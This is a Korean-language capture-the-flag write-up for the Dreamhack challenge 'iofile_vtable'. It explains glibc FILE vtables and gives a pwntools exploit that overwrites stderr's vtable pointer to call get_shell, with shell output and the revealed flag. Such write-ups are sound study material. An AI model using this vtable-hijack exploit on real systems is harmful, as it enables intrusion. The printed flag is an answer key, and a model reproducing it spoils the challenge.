[dreamhack] iofile_vtable writeup

1. 문제

thumbnail
iofile_vtable

이 문제는 서버에서 작동하고 있는 서비스(iofile_vtable)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, 'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/56

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char name[8];

void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    int idx = 0;
    int sel;

    initialize();

    printf("what is your name: ");
    read(0, name, 8);
    while(1) {
        printf("1. print\n");
        printf("2. error\n");
        printf("3. read\n");
        printf("4. chance\n");
        printf("> ");

        scanf("%d", &sel);
        switch(sel) {
            case 1:
                printf("GOOD\n");
                break;
            case 2:
                fprintf(stderr, "ERROR\n");
                break;
            case 3:
                fgetc(stdin);
                break;
            case 4:
                printf("change: ");
                read(0, stderr + 1, 8);
                break;
            default:
                break;
            }
    }
    return 0;
}

4개의 선택지를 통해 코드를 수행하며, 4번을 입력하면 stderr+1 위치에 8바이트만큼 쓸 수 있다.


iofilevtable에 대해서 전혀 모르는 상태에서 이 문제를 접하다보니 어떻게 공부해야할지 막막했다.

먼저 gdb를 보자.

pwndbg> disass main
Dump of assembler code for function main:
   0x000000000040095b <+0>:	push   rbp
   0x000000000040095c <+1>:	mov    rbp,rsp
   0x000000000040095f <+4>:	sub    rsp,0x20
   0x0000000000400963 <+8>:	mov    DWORD PTR [rbp-0x14],edi
   0x0000000000400966 <+11>:	mov    QWORD PTR [rbp-0x20],rsi
   0x000000000040096a <+15>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400973 <+24>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400977 <+28>:	xor    eax,eax
   0x0000000000400979 <+30>:	mov    DWORD PTR [rbp-0xc],0x0
   0x0000000000400980 <+37>:	mov    eax,0x0
   0x0000000000400985 <+42>:	call   0x4008ee <initialize>
   0x000000000040098a <+47>:	mov    edi,0x400b25
   0x000000000040098f <+52>:	mov    eax,0x0
   0x0000000000400994 <+57>:	call   0x400730 <printf@plt>
   0x0000000000400999 <+62>:	mov    edx,0x8
   0x000000000040099e <+67>:	mov    esi,0x6010d0
   0x00000000004009a3 <+72>:	mov    edi,0x0
   0x00000000004009a8 <+77>:	call   0x400760 <read@plt>
   0x00000000004009ad <+82>:	mov    edi,0x400b39
   0x00000000004009b2 <+87>:	call   0x400710 <puts@plt>
   0x00000000004009b7 <+92>:	mov    edi,0x400b42
   0x00000000004009bc <+97>:	call   0x400710 <puts@plt>
   0x00000000004009c1 <+102>:	mov    edi,0x400b4b
   0x00000000004009c6 <+107>:	call   0x400710 <puts@plt>
   0x00000000004009cb <+112>:	mov    edi,0x400b53
   0x00000000004009d0 <+117>:	call   0x400710 <puts@plt>
   0x00000000004009d5 <+122>:	mov    edi,0x400b5d
   0x00000000004009da <+127>:	mov    eax,0x0
   0x00000000004009df <+132>:	call   0x400730 <printf@plt>
   0x00000000004009e4 <+137>:	lea    rax,[rbp-0x10]
   0x00000000004009e8 <+141>:	mov    rsi,rax
   0x00000000004009eb <+144>:	mov    edi,0x400b60
   0x00000000004009f0 <+149>:	mov    eax,0x0
   0x00000000004009f5 <+154>:	call   0x4007a0 <__isoc99_scanf@plt>
   0x00000000004009fa <+159>:	mov    eax,DWORD PTR [rbp-0x10]
   0x00000000004009fd <+162>:	cmp    eax,0x2
   0x0000000000400a00 <+165>:	je     0x400a26 <main+203>
   0x0000000000400a02 <+167>:	cmp    eax,0x2
   0x0000000000400a05 <+170>:	jg     0x400a0e <main+179>
   0x0000000000400a07 <+172>:	cmp    eax,0x1
   0x0000000000400a0a <+175>:	je     0x400a1a <main+191>
   0x0000000000400a0c <+177>:	jmp    0x400a86 <main+299>
   0x0000000000400a0e <+179>:	cmp    eax,0x3
   0x0000000000400a11 <+182>:	je     0x400a46 <main+235>
   0x0000000000400a13 <+184>:	cmp    eax,0x4
   0x0000000000400a16 <+187>:	je     0x400a57 <main+252>
   0x0000000000400a18 <+189>:	jmp    0x400a86 <main+299>
   0x0000000000400a1a <+191>:	mov    edi,0x400b63
   0x0000000000400a1f <+196>:	call   0x400710 <puts@plt>
   0x0000000000400a24 <+201>:	jmp    0x400a86 <main+299>
   0x0000000000400a26 <+203>:	mov    rax,QWORD PTR [rip+0x200693]        # 0x6010c0 <stderr@@GLIBC_2.2.5>
   0x0000000000400a2d <+210>:	mov    rcx,rax
   0x0000000000400a30 <+213>:	mov    edx,0x6
   0x0000000000400a35 <+218>:	mov    esi,0x1
   0x0000000000400a3a <+223>:	mov    edi,0x400b68
   0x0000000000400a3f <+228>:	call   0x4007c0 <fwrite@plt>
   0x0000000000400a44 <+233>:	jmp    0x400a86 <main+299>
   0x0000000000400a46 <+235>:	mov    rax,QWORD PTR [rip+0x200663]        # 0x6010b0 <stdin@@GLIBC_2.2.5>
   0x0000000000400a4d <+242>:	mov    rdi,rax
   0x0000000000400a50 <+245>:	call   0x400740 <fgetc@plt>
   0x0000000000400a55 <+250>:	jmp    0x400a86 <main+299>
   0x0000000000400a57 <+252>:	mov    edi,0x400b6f
   0x0000000000400a5c <+257>:	mov    eax,0x0
   0x0000000000400a61 <+262>:	call   0x400730 <printf@plt>
   0x0000000000400a66 <+267>:	mov    rax,QWORD PTR [rip+0x200653]        # 0x6010c0 <stderr@@GLIBC_2.2.5>
   0x0000000000400a6d <+274>:	add    rax,0xd8
   0x0000000000400a73 <+280>:	mov    edx,0x8
   0x0000000000400a78 <+285>:	mov    rsi,rax
   0x0000000000400a7b <+288>:	mov    edi,0x0
   0x0000000000400a80 <+293>:	call   0x400760 <read@plt>
   0x0000000000400a85 <+298>:	nop
   0x0000000000400a86 <+299>:	jmp    0x4009ad <main+82>
End of assembler dump.

마지막 부분을 보면 4번을 선택시 수행되는 코드가 있는데 read함수를 실행하는데 stderr이 가리키는 위치에서 0xd8만큼 더한 위치에 입력을 받는 것을 볼 수 있다.

이 위치에 대체 뭐가 있는지 확인해보자.

pwndbg> x/10gx &stderr
0x6010c0 <stderr@@GLIBC_2.2.5>:	0x00007ffff7e044e0	0x0000000000000000
0x6010d0 <name>:	0x0000000000000000	0x0000000000000000
0x6010e0:	0x0000000000000000	0x0000000000000000
0x6010f0:	0x0000000000000000	0x0000000000000000
0x601100:	0x0000000000000000	0x0000000000000000
pwndbg> x/10gx 0x00007ffff7e044e0+0xd8
0x7ffff7e045b8 <_IO_2_1_stderr_+216>:	0x00007ffff7e02030	0x00000000fbad2084
0x7ffff7e045c8 <_IO_2_1_stdout_+8>:	0x0000000000000000	0x0000000000000000
0x7ffff7e045d8 <_IO_2_1_stdout_+24>:	0x0000000000000000	0x0000000000000000
0x7ffff7e045e8 <_IO_2_1_stdout_+40>:	0x0000000000000000	0x0000000000000000
0x7ffff7e045f8 <_IO_2_1_stdout_+56>:	0x0000000000000000	0x0000000000000000
pwndbg> x/10gx 0x00007ffff7e02030
0x7ffff7e02030 <_IO_file_jumps>:	0x0000000000000000	0x0000000000000000
0x7ffff7e02040 <_IO_file_jumps+16>:	0x00007ffff7c91a40	0x00007ffff7c92df0
0x7ffff7e02050 <_IO_file_jumps+32>:	0x00007ffff7c92640	0x00007ffff7c955a0
0x7ffff7e02060 <_IO_file_jumps+48>:	0x00007ffff7c96de0	0x00007ffff7c939e0
0x7ffff7e02070 <_IO_file_jumps+64>:	0x00007ffff7c93d20	0x00007ffff7c93160

우선 main 함수에 breakpoint를 걸어야 함수들이 할당이 된다. 이후 stderr0x00007ffff7e044e0 주소를 가리키고 있다. 해당 주소에 0xd8을 더해서 확인해보면 0x00007ffff7e02030 주소가 들어있고, 해당 주소를 확인해보면 _IO_file_jumps라는 것을 가리킨다. 이게 대체 뭔가 싶어서 알아봤더니 아래와 같다.


2.1. _IO_FILE과 _IO_FILE_plus

_IO_FILE은 리눅스 시스템 표준 라이브러리에서 파일 스트림을 나타내기 위한 구조체이며, 우리가 아는 fopen(),fclose(),fwrite()…와 같은 함수들에 대해서 적용된다. 해당 구조체는 아래와 같이 정의되어 있다.

struct _IO_FILE
{
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
 
  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;    /* Current read pointer */
  char *_IO_read_end;    /* End of get area. */
  char *_IO_read_base;    /* Start of putback+get area. */
  char *_IO_write_base;    /* Start of put area. */
  char *_IO_write_ptr;    /* Current put pointer. */
  char *_IO_write_end;    /* End of put area. */
  char *_IO_buf_base;    /* Start of reserve area. */
  char *_IO_buf_end;    /* End of reserve area. */
 
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
 
  struct _IO_marker *_markers;
 
  struct _IO_FILE *_chain;
 
  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */
 
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
 
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

그런데 실제 파일 스트림을 열때는 _IO_FILE이 아닌 _IO_FILE_plus 구조체를 사용한다. 이는 파일스트림에서의 함수 호출을 용이하게 하기 위해서 기존의 _IO_FILE 구조체에 더해서 가상 함수테이블인 vtable을 넣어 만든 구조체이다.

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

여기서 바로 vtable 구조체가 있는 것을 볼 수 있다.

2.2. vtable

vtable 구조체는 아래와 같이 생겼다.

struct _IO_jump_t {
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_uflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

이 구조체는 gdb에서도 tel 명령어를 통해 확인할 수 있다.

pwndbg> tel _IO_2_1_stderr_->vtable 30
00:0000│  0x7ffff7e02030 (_IO_file_jumps) ◂— 0
01:0008│  0x7ffff7e02038 (_IO_file_jumps+8) ◂— 0
02:0010│  0x7ffff7e02040 (_IO_file_jumps+16) —▸ 0x7ffff7c91a40 (_IO_file_finish) ◂— endbr64 
03:0018│  0x7ffff7e02048 (_IO_file_jumps+24) —▸ 0x7ffff7c92df0 (_IO_file_overflow) ◂— endbr64 
04:0020│  0x7ffff7e02050 (_IO_file_jumps+32) —▸ 0x7ffff7c92640 (_IO_file_underflow) ◂— endbr64 
05:0028│  0x7ffff7e02058 (_IO_file_jumps+40) —▸ 0x7ffff7c955a0 (_IO_default_uflow) ◂— endbr64 
06:0030│  0x7ffff7e02060 (_IO_file_jumps+48) —▸ 0x7ffff7c96de0 (_IO_default_pbackfail) ◂— endbr64 
07:0038│  0x7ffff7e02068 (_IO_file_jumps+56) —▸ 0x7ffff7c939e0 (_IO_file_xsputn) ◂— endbr64 
08:0040│  0x7ffff7e02070 (_IO_file_jumps+64) —▸ 0x7ffff7c93d20 (__GI__IO_file_xsgetn) ◂— endbr64 
09:0048│  0x7ffff7e02078 (_IO_file_jumps+72) —▸ 0x7ffff7c93160 (_IO_file_seekoff) ◂— endbr64 
0a:0050│  0x7ffff7e02080 (_IO_file_jumps+80) —▸ 0x7ffff7c95cc0 (_IO_default_seekpos) ◂— endbr64 
0b:0058│  0x7ffff7e02088 (_IO_file_jumps+88) —▸ 0x7ffff7c92400 (_IO_file_setbuf) ◂— endbr64 
0c:0060│  0x7ffff7e02090 (_IO_file_jumps+96) —▸ 0x7ffff7c93010 (_IO_file_sync) ◂— endbr64 
0d:0068│  0x7ffff7e02098 (_IO_file_jumps+104) —▸ 0x7ffff7c85120 (_IO_file_doallocate) ◂— endbr64 
0e:0070│  0x7ffff7e020a0 (_IO_file_jumps+112) —▸ 0x7ffff7c938b0 (_IO_file_read) ◂— endbr64 
0f:0078│  0x7ffff7e020a8 (_IO_file_jumps+120) —▸ 0x7ffff7c93940 (_IO_file_write) ◂— endbr64 
10:0080│  0x7ffff7e020b0 (_IO_file_jumps+128) —▸ 0x7ffff7c938d0 (_IO_file_seek) ◂— endbr64 
11:0088│  0x7ffff7e020b8 (_IO_file_jumps+136) —▸ 0x7ffff7c93930 (_IO_file_close) ◂— endbr64 
12:0090│  0x7ffff7e020c0 (_IO_file_jumps+144) —▸ 0x7ffff7c938e0 (_IO_file_stat) ◂— endbr64 
13:0098│  0x7ffff7e020c8 (_IO_file_jumps+152) —▸ 0x7ffff7c96f90 (_IO_default_showmanyc) ◂— endbr64 
14:00a0│  0x7ffff7e020d0 (_IO_file_jumps+160) —▸ 0x7ffff7c96fa0 (_IO_default_imbue) ◂— endbr64

파일스트림을 조작하는 함수가 실행 시 이 구조체 내의 함수 주소로 점프하여 실행된다. 예를 들어 fprintf함수가 실행되면, JUMP_FIELD(_IO_xsputn_t, __xsputn);로 점프하여 함수를 호출하게 된다.

따라서 만약 vtable 주소가 조작된다면 이를 기준으로 가리키는 함수포인터가 모두 변경되며, 이를 활용해서 원하는 함수나 코드를 실행할 수 있는 것이다.

2.3. exploit

정리하자면 stderr+1이 가리키는 것은 stderr -> vtable 주소였고, vtablefprintf 등의 함수 실행시 호출하는 주소를 가지고 있다. fprintf 함수 호출 시 현재 코드 흐름은 아래와 같다.

  • ⁣1. vtable 주소 참조
  • ⁣2. vtable 주소를 기준으로 0x8 * 7 위치의 JUMP_FIELD(_IO_xsputn_t, __xsputn);를 실행

만약 vtable 주소를 name 변수 주소에서 0x38 (0x8 * 7)을 뺀 주소로 하면, fprintf함수 실행 시 name 변수 주소가 가리키는 함수가 실행될 것이다. 그리고 name 변수에는 get_shell 주소를 넣으면 exploit이 성공할 것이다. 따라서 변경될 코드 흐름은 아래와 같다.

  • ⁣1. name_addr - 0x38 주소 참조
  • ⁣2. name 주소에 들어있는 get_shell 함수가 실행

이제 이를 이용하여 exploit을 작성해보자.

from pwn import *

p = process("./iofile_vtable")
p = remote("host3.dreamhack.games", 11350)
elf = ELF("./iofile_vtable")

get_shell = elf.symbols["get_shell"]
name_addr = elf.symbols["name"]

p.sendafter("name: ", p64(get_shell))
p.recvuntil("> ")
p.sendline("4")

p.recvuntil("change: ")
p.send(p64(name_addr - 0x38))

p.recvuntil("> ")
p.sendline("2")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/iofile_vtable$ python3 e_iofile_vtable.py 
[+] Starting local process './iofile_vtable': pid 2210240
[+] Opening connection to host3.dreamhack.games on port 11350: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/iofile_vtable/iofile_vtable'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
/home/ubuntu/.local/lib/python3.12/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("> ")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("4")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("change: ")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("> ")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("2")
[*] Switching to interactive mode
$ id
uid=1000(iofile_vtable) gid=1000(iofile_vtable) groups=1000(iofile_vtable)
$ cat flag
DH{9f746608b2c9239b6b80eb5bbcae06ed}

3. 추가 의견

추가로, 이 exploit은 glibc 2.23까지만 가능하고, glibc 2.24 버전부터는 _IO_validate_table함수가 생겨서 overwrite이 발생했는지 확인한다고 한다. 실제로 서버환경에서 바이너리가 사용중인 라이브러리 의존성을 확인했더니 glibc 2.23 버전이었다.

ubuntu@instance-20250406-1126:~/dreamhack/level1/iofile_vtable$ python3 e_iofile_vtable.py 
[+] Starting local process './iofile_vtable': pid 2210249
[+] Opening connection to host3.dreamhack.games on port 11350: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/iofile_vtable/iofile_vtable'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
/home/ubuntu/.local/lib/python3.12/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("> ")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("4")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("change: ")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("> ")
/home/ubuntu/dreamhack/level1/iofile_vtable/e_iofile_vtable.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("2")
[*] Switching to interactive mode
$ ldd
$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

지금은 문제풀이 내에 해당 내용을 포함했지만 IO_FILEvtable에 대해서는 나중에 따로 빼서 정리를 해야할 것 같다. 새로운 개념을 알게되어 좋았다…

해결~